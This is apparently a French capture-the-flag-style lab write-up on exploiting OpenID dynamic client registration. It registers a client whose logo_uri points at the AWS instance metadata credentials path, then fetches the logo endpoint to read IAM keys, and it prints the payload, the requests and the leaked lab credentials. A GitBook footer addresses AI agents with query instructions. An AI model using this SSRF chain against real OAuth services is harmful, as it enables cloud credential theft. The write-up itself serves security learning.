> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md).

# SSRF via l’enregistrement dynamique de client OpenID

### SSRF via l’enregistrement dynamique de client OpenID

**Objectif du labo**

Ce laboratoire exploite une fonctionnalité d’enregistrement dynamique du client openID\*\*. Certaines des données fournies par le client sont utilisées sans protection par le service OAuth, ce qui ouvre la porte à une **SSRF**.

L’objectif est d’exploiter cette faille pour accéder au point de terminaison interne suivant et récupérer le secret **clé d’accès cloud** du fournisseur OAuth :

* `HTTP://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`

**Accès initial**

Vous pouvez vous connecter avec un compte utilisateur standard :

* **Identifiant**: wiener
* **Mot de passe**: peter

**Découverte OpenID**

En analysant le flux OAuth, nous identifions le point de terminaison standard de configuration OpenID :

```bash
/.well-known/openid-configuration
```

Cette ressource présente tous les points de terminaison utilisés par le fournisseur OAuth, notamment :

{% code overflow="wrap" %}

```json
{"authorization_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/auth","claims_parameter_supported":false,"claims_supported":["sub","name","email","email_verified","sid","auth_time","iss"],"code_challenge_methods_supported":["S256"],"end_session_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/session/end","grant_types_supported":["authorization_code","refresh_token"],"id_token_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"issuer":"https://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net","jwks_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/jwks","registration_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg","response_modes_supported":["form_post","fragment","query"],"response_types_supported":["code"],"scopes_supported":["openid","offline_access","profile","email"],"subject_types_supported":["public"],"token_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"token_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"token_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token","request_object_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"request_parameter_supported":false,"request_uri_parameter_supported":true,"require_request_uri_registration":true,"userinfo_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/me","userinfo_signing_alg_values_supported":["HS256","ES256","EdDSA","PS256","RS256"],"introspection_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/introspection","introspection_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"introspection_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"revocation_endpoint":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/token/revocation","revocation_endpoint_auth_methods_supported":["none","client_secret_basic","client_secret_jwt","client_secret_post","private_key_jwt"],"revocation_endpoint_auth_signing_alg_values_supported":["HS256","RS256","PS256","ES256","EdDSA"],"claim_types_supported":["normal"]}
```

{% endcode %}

* `authorization_endpoint`
* `token_endpoint`
* `userinfo_endpoint`
* **`registration_endpoint`**

Le champ clé ici est :

```
/reg
```

<figure><img src="/files/4a0a85c33988823c46c4381fd92f0fc019d108dc" alt=""><figcaption></figcaption></figure>

Il permet l’enregistrement dynamique de nouveaux clients.

```http
{
    "application_type": "web",
    "redirect_uris": [
        "https://client-app.com/callback",
        "https://client-app.com/callback2"
        ],
    "client_name": "My Application",
    "logo_uri": "https://client-app.com/logo.png",
    "token_endpoint_auth_method": "client_secret_basic",
    "jwks_uri": "https://client-app.com/my_public_keys.jwks",
    "userinfo_encrypted_response_alg": "RSA1_5",
    "userinfo_encrypted_response_enc": "A128CBC-HS256",
    …
}
```

**Enregistrement d’un client OAuth**

Une requête est interceptée vers `/reg` et convertie en une **POST** requête avec l’en-tête :

```http
Content-Type: application/json
```

Un enregistrement minimal fonctionne avec un JSON très simple :

```json
{
    "redirect_uris": [
        "https://test.com"
        ]
}
```

Le serveur répond en créant une nouvelle application OAuth et renvoie notamment :

* `client_id`
* `client_secret`
* `registration_client_uri`
* `registration_access_token`

Cela confirme que l’enregistrement dynamique est actif et non restrictif.

{% code overflow="wrap" %}

```json
{"application_type":"web","grant_types":["authorization_code"],"id_token_signed_response_alg":"RS256","post_logout_redirect_uris":[],"require_auth_time":false,"response_types":["code"],"subject_type":"public","token_endpoint_auth_method":"client_secret_basic","introspection_endpoint_auth_method":"client_secret_basic","revocation_endpoint_auth_method":"client_secret_basic","require_signed_request_object":false,"request_uris":[],"client_id_issued_at":1767127526,"client_id":"TL-B3vvYBc42Yju2-uZqV","client_secret_expires_at":0,"client_secret":"RVzHE-YNMkqwYdhd76jdL92wmVCNdV7Ir3z4QtEM3m2lptEEZJEbl-JxCuz7UogeAtpIFlxSqGp-GnHARBZBEQ","redirect_uris":["https://test.com"],"registration_client_uri":"http://oauth-0a7f007e03bb976780c306140235007f.oauth-server.net/reg/TL-B3vvYBc42Yju2-uZqV","registration_access_token":"On2Y_5DyRBtlz4QPmRbTogHoSp8ihSvLTC_ntt6c6Vz"}
```

{% endcode %}

<figure><img src="/files/1a30a4950b3b95c38e25b50988ef744d81013c8c" alt=""><figcaption></figcaption></figure>

**Injection SSRF via `logo_uri`**

Le `logo_uri` Le champ, conçu pour charger une image associée au client, est particulièrement intéressant. / Il est récupéré côté serveur sans validation stricte de l’URL.

Un nouveau client est enregistré avec un `logo_uri` pointant vers l’IP interne AWS :

```json
{
  "redirect_uris": [
    "https://jord4n.pro"
  ],
  "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}
```

Le serveur accepte la requête et renvoie un nouveau `client_id`.

**Accès au logo du client**

Chaque client dispose d’un point de terminaison pour récupérer son logo :

```
GET /client/<client_id>/logo
```

<figure><img src="/files/6789fa16893cd3b710039d7abf515981a9736c4f" alt=""><figcaption></figcaption></figure>

```http
GET /client/1767128152/logo
```

<figure><img src="/files/43ea1bfba3799a186b031cf7950767a43e6304c6" alt=""><figcaption></figcaption></figure>

En utilisant les `client_id` obtenu précédemment :

```http
GET /client/4skHDyCgn9b1zvT-JBTin/logo
```

**Exfiltration des métadonnées AWS**

La réponse ne contient pas d’image, mais directement les \*\*identifiants IAM internes\*\* :

```json
{
  "Code" : "Success",
  "LastUpdated" : "2025-12-31T18:55:47.398604832Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "TKrZh1liWrDBDSltdlG9",
  "SecretAccessKey" : "pY0oqQBOuKYc77nrZrFHriyySRf12bPnf4EyBTd0",
  "Token" : "nGndN1NnGYkE6XEumqF4iZiD7qqa1VyOXSm5T6I7VRolft4b6Hc2zppqjZJFIhPJH0ZhTAYfoUe8edUbDvDkLjd0idSJlJggjp6BZAjEOqsSFHAZ9qBXUur878LdUfxk12joCYbDYYcpw0y5tHNIHx7sqZaEUlv0tukYqgVXwjweiVr2aahtizQl58akErD0kFUdqEe0YDhWwRigaSAKGdDsMKNOK5SX8iwpK8Vq6mBy45Xkrx4Xt4ZC8XPn6ulX",
  "Expiration" : "2031-12-30T18:55:47.398604832Z"
}
```

`SecretAccessKey` est la valeur attendue pour valider le laboratoire.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/oauth-authentication/ssrf-via-openid-dynamic-client-registration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
